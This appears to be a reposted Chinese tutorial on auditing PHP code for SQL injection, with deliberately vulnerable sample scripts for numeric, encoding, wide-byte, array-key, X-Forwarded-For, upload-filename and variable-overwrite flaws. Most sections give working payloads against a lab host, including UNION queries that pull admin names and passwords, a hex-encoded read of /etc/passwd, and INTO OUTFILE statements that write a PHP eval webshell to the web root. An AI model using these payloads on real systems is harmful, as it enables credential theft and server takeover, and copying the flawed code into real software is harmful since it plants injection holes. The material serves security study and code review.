php代码审计SQL 注入研究
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了php代码审计SQL 注入研究相关的知识,希望对你有一定的参考价值。
0x01报错注入及利用
0x0a 核心代码
现在注入的主要原因是程序员在写sql语句的时候还是通过最原始的语句拼接来完成,另外SQL语句有Select、Insert、Update和Delete四种类型,注入也是对这四种基本操作的拼接产生的。接下来笔者将以Select为例引导新手初步了解SQL注入。Select是数据库的查询操作,所以常常出现在像文章查看和搜索这些地方,缺陷代码如下:
<?php
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[id]) ? $_GET[id] : 1; //这里id没有做整形转换
//sql语句没有单引号保护,造成注入
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysql_query($sql, $conn) or die(mysql_error());
echo $result;
?>
<html>
<head>
<meta charset="utf-8" />
<title> 新闻注入测试</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result,MYSQL_ASSOC);
echo "<h3> $row[title]</h3> <p>$row[conent]</p>\\n";
mysql_free_result($result);
?>
</body>
</html>
0x0b注入测试
1. 正常访问
http://192.168.189.129/test.php
http://192.168.189.129/test.php?id=1
http://192.168.189.129/test.php?id=2
2. 测试字段数
PS:3 正常,4报错,说明有三个字段
http://192.168.189.129/test.php?id=1 and 1=2 order by 3
http://192.168.189.129/test.php?id=1 and 1=2 order by 4
3. 测试回显字段
PS: 2,3均回显,说明均是回显字段
http://192.168.189.129/test.php?id=-1 union select 1,2,3
例如,在3字段测试user()函数
4. 查询当前库下的所有表
http://192.168.189.129/test.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
5.测试表中的字段名称
PS:admin 的十六进制61646d696e ; news十六进制 6e657773
http://192.168.189.129/test.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e
7.读取linux系统文件(/etc/passwd,需转换为16进制)
ps:权限足够http://192.168.189.129/test.php?id=-1 union select 1,2,load_file(0x2f6574632f706173737764)
8. 权限足够的情况下写SHELL
http://192.168.189.129/test.php?id=-1 union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile /var/www/html/1.php--
若权限不足,换个目录
phpinfo页面
http://192.168.189.129/test.php?id=-1 union select 1,2,0x3c3f70687020706870696e666f28293b203f3e into outfile /var/www/html/3.php--
写个webshell(注意16进制转换时是一条语句)
http://192.168.189.129/test.php?id=-1 union select 1,2,0x3c3f706870206576616c28245f504f53545b615d293b3f3e into outfile /var/www/html/5.php--
这里都没有截图,因为之前在web渗透基础已经研究过了,这里记录下自己的学习过程
0x02注入之编码防护
comon.php:
<?php
if (!empty($_GET))
$_GET = addslashes_deep($_GET);
//addslashes_deep函数会判断GPC是否开启,
//如果没有开启就会对GET、POST和COOKIE传递的参数进行转义。
//然而仅仅使用这种方式会存在很多绕过的情况。
if (!empty($_POST))
$_POST = addslashes_deep($_POST);
if (!empty($_COOKIE))
$_COOKIE = addslashes_deep($_COOKIE);
function addslashes_deep($value)
if (empty($value))
return $value;
else
if (!get_magic_quotes_gpc())
$value=is_array($value) ? array_map(addslashes_deep, $value) : addslashes($value);
else
$value=is_array($value) ? array_map(addslashes_deep, $value) : mystrip_tags($value);
return $value;
?>
一些编码解码的函数像urldecode、base64decode的使用会导致绕过addslashes函数的全局防护,以urldecode函数为例,缺陷代码如下:
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[id]) ? urldecode($_GET[id]) : 1;
$sql = "SELECT * FROM news WHERE id=$id";
echo $sql;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<html>
<head>
<meta charset="utf-8" />
<title> 新闻注入测试</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result,MYSQL_ASSOC);
echo "<h3> $row[title]</h3> <p>$row[conent]</p>\\n";
mysql_free_result($result);
?>
</body>
</html>
http://192.168.189.129/test.php?id=1%27 ,直接被转义
当输入 http://192.168.189.129/test.php??id=1%2527 ,发现我们已经绕过了
http://192.168.189.129/test.php?id=%2527 and 1=2 union select 1,2,user()%23
我这没有admin这个表,这里有这个sql语句就证明存在
注意,用这个代码更能说明问明白问题:
<?php
$a = addslashes($_GET[p]);
$b = urldecode($a);
echo $a=.$a;
echo "<br/>";
echo $b=.$b;
?>
0x03函数错用致注入
一些函数的错误使用会引发SQL注入的场景以及二次注入漏洞产生的原因。
0x0a 全局bypass的tips
1.函数的错误使用
1.1 replace函数
1.1.1 把单引号替换成空,\\变成了\\ double条件情况下可继续注入 wooyun-2014-050636
1.1.2 replace 是用户可控的,就是说用户可以想把什么提交成空就提交成空
1.2 stripslashes函数
1.2.1 全局做过addslashes后,又使用stripslashes去掉转义造成注入 wooyun-2015-0122057
http://www.2cto.com/Article/201301/182509.html
2.二次注入
2.1 涉及到的是入库出库
在入库时经过全局转义,入库后转义符就小时,那么就是a,把这个查询出来,那么出库的就是a 如果再带入到了查询,那么就成功的引入了单引号导致注入。
http://www.cnbraid.com/2016/02/19/sql3
0x0b实例说明,函数误用str_replace
一些常用函数像str_replace、stripslashes的错误使用会导致绕过addslashes函数的全局防护,首先来看str_replace函数,有时写程序会使用str_replace函数将参数中的单引号、括号等字符替换为空,使用不当就会引发注入问题。缺陷代码如下:
testphp 如下,其中关键引用是str_replace
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET[id]) ? $_GET[id] : 1;
$title = isset($_GET[title]) ? $_GET[title] : news title;
$id = str_replace("",,$tmp_id);
$sql = "SELECT * FROM news WHERE id=$id and title=$title";
echo $sql.<br />;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>$row[title]</h3><p>$row[content]<p>\\n";
mysql_free_result($result);
?>
</body>
</html>
测试:http://192.168.189.129/test.php?id=-1%27&title=news%20title
发现参数id右边的单引号被反斜杠转义成字符了,说明又可以注入了。
简单分析下上面id参数的执行过程,-1’经过addslashes函数转义后变成了-1\\’,然后再经过str_replace函数干掉了单引号变成了-1\\,最后带入查询的语句才是下面这样:
SELECT * FROM news WHERE id=-1\\and title=news title
反斜杠转义了sql查询语句里id后面那个单引号,导致title参数可以构造sql注入语句了,我们直接构造获取管理员账户密码的语句
0x0c 实例stripslashes函数
接下来我们再看下stripslashes函数,这个函数的定义是删除由addslashes() 函数添加的反斜杠,所以很明显使用不当的话就会引发SQL注入。缺陷代码如下:
stripslashes.php
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$tmp_id = isset($_GET[id]) ? $_GET[id] : 1;
$id = stripslashes($tmp_id);
$sql = "SELECT * FROM news WHERE id=$id";
echo $sql.<br />;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>$row[title]</h3><p>$row[content]<p>\\n";
mysql_free_result($result);
?>
</body>
</html>
0X04 宽字节注入审计
0x0a bypass tips
1.数据库字符集GBK的宽字节注入
1.1数据库的连接方式不同(数据库与PHP的编码不一致,转换过程中可能存在)
1.2 错误方法:set names gbk
1.3 http://www.freebuf.com/articles/web/31537.html
2.转换字符集造成的宽字节注入
2.1 从GBK转到UTF8 wooyun-2014-055842
2.2 从UTF8转到GBK
0x0b说明
首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:
1、正常情况下当GPC开启或使用addslashes函数过滤GET或POST提交的参数时,黑客使用的单引号 ‘ 就会被转义为: \\’;
2、但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”(注:GBK的汉字编码范围见附录),而单引号逃逸了出来,从而造成了注入漏洞。
现在基本上都会将mysql的连接配置为“setcharacter_set_client=binary”来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码转换导致的注入问题。
0x0c 案例说明
分gbk转utf-8和utf-8转gbk两种情况。
GBK转UTF-8
缺陷代码
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) ordie(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$title_tmp = isset($_GET[title]) ? urldecode($_GET[title]) : news title;
//这里对title进行了gbk到utf-8的转换
$title = iconv("gbk","utf-8",$title_tmp);
$sql = "SELECT * FROM news WHERE title = $title";
echo$sql;
$result = mysql_query($sql, $conn) ordie(mysql_error());
?>
浏览器输入http://localhost/sqltest/kuanzifu1.php?title=%df‘union select 1,2,concat(name,0x23,pass) from admin%23 发现获取了管理员账户密码
其实跟前言里第2条是一样的,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27(%5c是反斜杠\\),然后%df%5c正好属于gbk的汉字编码范围,经过iconv转换到utf-8编码转换后变成了汉字“運”,从而吞掉了反斜杠使得单引号逃脱出来。
UTF-8转GBK
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) ordie(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$title_tmp = isset($_GET[title]) ? urldecode($_GET[title]) : news title;
$title = iconv("utf-8","gbk",$title_tmp);
$sql = "SELECT * FROM news WHERE title = $title";
echo$sql;
$result = mysql_query($sql, $conn) ordie(mysql_error());
?>
这里我们思考下“錦”这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\\正好为5c。
所以如果我们将title设置为:錦’,首先经过addlashes函数或GPC对单引号转义变为:錦\\’,然后会经过icnov函数会对”錦”转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来就会引发注入漏洞。
直接获取管理员账户密码的POC如下: ?title=錦‘ union select1,2,concat(name,0x23,pass) from admin%23
0x05 注入之盲点
0x0a 总体盲点(一)如下:
1.注入点类似id=1这种整型的参数就会完全无视GPC的过滤;
1.1 一般数字型的都不会加单引号
1.2 $id 没有被单引号且没有被强制转换 wooyun-2010-065605
1.3 过程中不全是数字型,忘记加单引号 wooyun-2014-079045
1.4 PHP弱类型语言,wooyun-2010-088872
2.注入点包含键值对的,那么这里只检测了value,对key的过滤就没有防护;
判断gpc是否开启,如果off就对数组中的value就行addslashes,没有对数组中的key进行转移,key带入SQL
wooyun-2010-069746 wooyun-2014-070353 wooyun-2014-070366 wooyun-2014-071516
3.有时候全局的过滤只过滤掉GET、POST和COOKIE,但是没过滤SERVER等变量。
附常见的SERVER变量(危险变量):QUERY_STRING,X_FORWARDED_FOR,CLIENT_IP,HTTP_HOST,ACCEPT_LANGUAGE
3.1 获取用户IP并入库的变量X_FORWARDED_FOR
wooyun-2014-068853 wooyun-2010-0173485 wooyun-2010-0173201 wooyun-2010-0169337
3.2 检测IP的正则可被绕过(例如在cmseasy中验证IP的正则中(%+),导致后面可以写任意字符)
wooyun-2014-062957
0x0b 数字型注入
1.传入的参数未做intval转换、构造的sql语句没有单引号保护
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[id]) ? $_GET[id]: 1;
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
这种数字型的注入是全局防护的盲点,构造注入语句完全不需要单引号的支持,所以也就不存在转义了。例如我们直接构造获取管理员账户密码的POC:?id=-1 union select 1,2, concat(name,0x23,pass) from admin%23
2.php弱类型语言,判断逻辑错误引发注入
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[id]) ? $_GET[id]: 1;
if($id<1)
$sql = "SELECT * FROM news WHERE id=$id";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
当然前提是数字型的注入,这里特殊之处在于增加了个if($id<1)的逻辑判断,但PHP弱类型语言在逻辑判断上0<1和0 union select 1<1是等价的,都返回True。所以构造获取管理员账户密码的POC:
id=0 union select 1,2,concat(name,0x23,pass)from admin %23
3.过程中不全是数字型,忘记加单引号
这种情况是在第一条sql语句里是有单引号保护的,紧接着第二条sql语句没有单引号保护引发的注入,缺陷的代码如下:
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$id = isset($_GET[id]) ? $_GET[id]: 1;
$sql = "SELECT * FROM news WHERE id=".$id."";
$result = mysql_query($sql, $conn) or die(mysql_error());
$sql2 = "SELECT * FROM news WHERE id=".$id;
$result2 = mysql_query($sql2, $conn) or die(mysql_error());
?>
?id=-1 union select 1,2,concat(name,0x23,pass)from admin %23
0x0c 数组类型,全局防护只过滤了value/key,未过滤代入查询
全局防护的代码只对数组中的vaule进行了过滤,key未过滤引发注入,全局防护缺陷代码如下(commonnew.php):
<?php
if (!empty($_GET))
$_GET=Add_S($_GET);
if (!empty($_POST))
$_POST=Add_S($_POST);
if (!empty($_COOKIE))
$_COOKIE=Add_S($_COOKIE);
function Add_S($array)
foreach($array as $key=>$value)
if(!is_array($value))
$value=str_replace("&#x","& # x",$value); //过滤一些不安全字符
$value=preg_replace("/eval/i","eva l",$value); //过滤不安全函数
!get_magic_quotes_gpc() && $value=addslashes($value);
$array[$key]=$value;
else
$array[$key]=Add_S($array[$key]);
return $array;
可以看到,对GET、POST和COOKIE传递的数组参数只过滤了value,忽视了key,漏洞代码如下:
<?php
require_once(commonnew.php);
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$title = isset($_POST[title]) ? $_POST[title]: 1;
foreach($title as $key=>$value)
$sql = "SELECT * FROM news WHERE id=".$key." and title=".$value."";
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
虽然查询语句中WHERE id=’”.$key.”有单引号保护,但是全局防护代码就没过滤key就存在注入了,首先POST请求下:
title[1]=news title 发现可以获取正常内容:
构造获取管理员账户密码的POST请求
title[-1 union select 1,2,concat(name,0x23,pass) from admin%23]=news title
0x0d SERVER变量未过滤
上面的全局防护只过滤了GET、POST和COOKIE而忽略了SERVER变量,SERVER变量的注入常常发生在获取用户ip并入库的函数上,类似如下代码:
//获取访问者IP(PHP代码/函数)
function get_ip()
if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown"))
$ip=getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown"))
$ip=getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown"))
$ip=getenv("REMOTE_ADDR");
else if (isset($_SERVER[REMOTE_ADDR]) && $_SERVER[REMOTE_ADDR] && strcasecmp($_SERVER[REMOTE_ADDR],"unknown"))
$ip=$_SERVER[REMOTE_ADDR];
else
$ip="unknown" ;
return $ip;
通过$_SERVER变量获取客户端ip且可以通过X_FORWARDED_FOR伪造,然后这里对X_FORWARDED_FOR是没有任何正则处理的,所以可以构造注入语句,缺陷代码如下:
<?php
require_once(common.php);
$conn = mysql_connect(localhost, root, root) or die(bad!);
mysql_query("SET NAMES binary");
mysql_select_db(test, $conn) OR emMsg("数据库连接失败");
$id = get_ip();
$sql = "SELECT * FROM news WHERE id=".$id."";;
$result = mysql_query($sql, $conn) or die(mysql_error());
?>
这里可以在请求中添加获取管理员账户密码的POC为
X-Forwarded-For:-1 union select 1,2,concat(name,0x23,pass) from admin#,
由于SERVER变量没过滤所以这里单引号保护也就没用了。
0x06 【续】注入之盲点
0x0a盲点如下:
1.FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;
1.1 全局只对COOKIE GET POST 转义,遗漏了FILES,且不受GPC(FILES 注入一般是因为上传,会把上传的名字带到insert当中入库)
1.2 wooyun-2014-065837
1.3 入库时候对文件的名字进行了转义,在获取后缀后在入库时对文件名的转义却没有对后缀转义,导致注入
1.4 wooyun-2010-079041
2.变量覆盖,危险函数:extract()、parse_str()、$$。
2.1 extract($POST)直接从POST数组中取出变量,覆盖掉之前的一些变量,覆盖的话一般是覆盖掉表前缀之类
2.2 select * from $pre_admin where xxx像这种的就覆盖掉$pre,然后补全语句注入
2.3 wooyun-2014-053189
2.4 wooyun-2014-051734
2.5 $$ wooyun-2010-055338
0x0b FILES注入
FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统,首先看看它的全局防护是怎么处理的:
index.php:
include TIPASK_ROOT . /model/tipask.class.php;
$tipask = new tipask();
$tipask->run();
... ...
function init_request()
... ...
$this->get = taddslashes($this->get, 1);
$this->post = taddslashes(array_merge($_GET, $_POST));
checkattack($this->post, post);
checkattack($this->get, get);
unset($_POST);
可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:
function onupload()
//上传配置
$config = array(
"uploadPath" => "data/attach/", //保存路径
"fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
"fileSize" => 10 //文件大小限制,单位MB
);
//文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
$state = "SUCCESS";
$clientFile = $_FILES["upfile"];
if (!isset($clientFile))
echo "state:文件大小超出服务器配置!,url:null,fileType:null"; //请修改php.ini中的upload_max_filesize和post_max_size
exit;
//格式验证
$current_type = strtolower(strrchr($clientFile["name"], .));
if (!in_array($current_type, $config[fileType]))
$state = "不支持的文件类型!";
//大小验证
$file_size = 1024 * 1024 * $config[fileSize];
if ($clientFile["size"] > $file_size)
$state = "文件大小超出限制!";
//保存文件
if ($state == "SUCCESS")
$targetfile = $config[uploadPath] . gmdate(ym, $this->time) . / . random(8) . strrchr($clientFile["name"], .);
$result = $_ENV[attach]->movetmpfile($clientFile, $targetfile);
if (!$result)
$state = "文件保存失败!";
else
$_ENV[attach]->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
//向浏览器返回数据json数据
echo "state":" . $state . ","url":" . $targetfile . ","fileType":" . $current_type . ","original":" . $clientFile["name"] . ";
复制代码
可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。
function add($filename,$ftype,$fsize,$location,$isimage=1)
$uid=$this->base->user[uid];
$this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ($this->base->time,$filename,$ftype,$fsize,$location,$isimage,$uid)");
return $this->db->insert_id();
上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:
filename="1,.php,1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg
0x0c 变量覆盖
出现比较多的是extract函数,例如extract($_POST)会直接从POST数组中取出变量,覆盖掉之前的一些变量。
<?php
$a = "init test";
@extract($_POST);
#print_r($a);
echo $a;
?>
之前出现过案例是覆盖表前缀上,例如sql执行语句如下:
select title,content from $prenews where id=1
然后攻击者直接浏览器提交pre=“获取敏感信息的语句”来覆盖表前缀从而实现注入攻击。
$$变量覆盖
原理其实跟上面一样,有个很经典的$$变量覆盖的代码:
<?php
$a= "init test";
foreach(array(_COOKIE,_POST,_GET)as $_request)
foreach($$_request as $_key=>$_value)
$$_key = addslashes($_value);
echo $a;
?>
以上是关于php代码审计SQL 注入研究的主要内容,如果未能解决你的问题,请参考以下文章